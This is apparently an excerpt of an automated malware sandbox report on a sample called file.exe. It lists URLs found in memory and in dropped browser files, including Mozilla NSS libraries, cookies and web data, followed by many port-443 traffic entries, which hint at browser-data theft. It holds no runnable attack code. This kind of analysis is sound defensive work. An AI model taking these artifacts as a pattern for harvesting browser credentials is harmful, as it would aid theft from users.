Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://gaana.com/
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: KFBGCAKFHCFHJKECFIID.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://m.kugou.com/
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://m.vk.com/
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXIDv10)3)
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://music.amazon.com
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://music.apple.com
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log6.8.dr, 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log.8.dr, 000003.log2.8.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log.8.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log.8.dr, 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376614363026006.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://open.spotify.com
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_434.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: DGDHJEGIEBFHDGDGHDHIEBKFHD.0.dr	String found in binary or memory: https://support.mozilla.org
Source: DGDHJEGIEBFHDGDGHDHIEBKFHD.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DGDHJEGIEBFHDGDGHDHIEBKFHD.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://tidal.com/
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://twitter.com/
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://web.telegram.org/
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://web.whatsapp.com
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.1909730449.0000000023563000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, KFBGCAKFHCFHJKECFIID.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: AKFHDBFI.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.8.dr, content.js.8.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.1649375671.000000002350F000.00000004.00000020.00020000.00000000.sdmp, AKFHDBFI.0.dr, BKKKFCFI.0.dr, Web Data.8.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 128111f0-c152-4c7b-8f1c-6f4aab452da7.tmp.9.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_434.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_434.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_434.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.instagram.com
Source: file.exe, 00000000.00000002.1909730449.0000000023563000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp, KFBGCAKFHCFHJKECFIID.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.last.fm/
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.messenger.com
Source: DGDHJEGIEBFHDGDGHDHIEBKFHD.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1873172118.0000000000EB7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.1873172118.0000000000EB7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/dHh0
Source: DGDHJEGIEBFHDGDGHDHIEBKFHD.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000002.1873172118.0000000000EB7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.1873172118.0000000000EB7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0
Source: DGDHJEGIEBFHDGDGHDHIEBKFHD.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000002.1873172118.0000000000EB7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1775168783.00000000237B4000.00000004.00000020.00020000.00000000.sdmp, DGDHJEGIEBFHDGDGHDHIEBKFHD.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: DGDHJEGIEBFHDGDGHDHIEBKFHD.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1873172118.0000000000EB7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1775168783.00000000237B4000.00000004.00000020.00020000.00000000.sdmp, DGDHJEGIEBFHDGDGHDHIEBKFHD.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1873172118.0000000000EB7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.office.com
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.tiktok.com/
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://www.youtube.com
Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
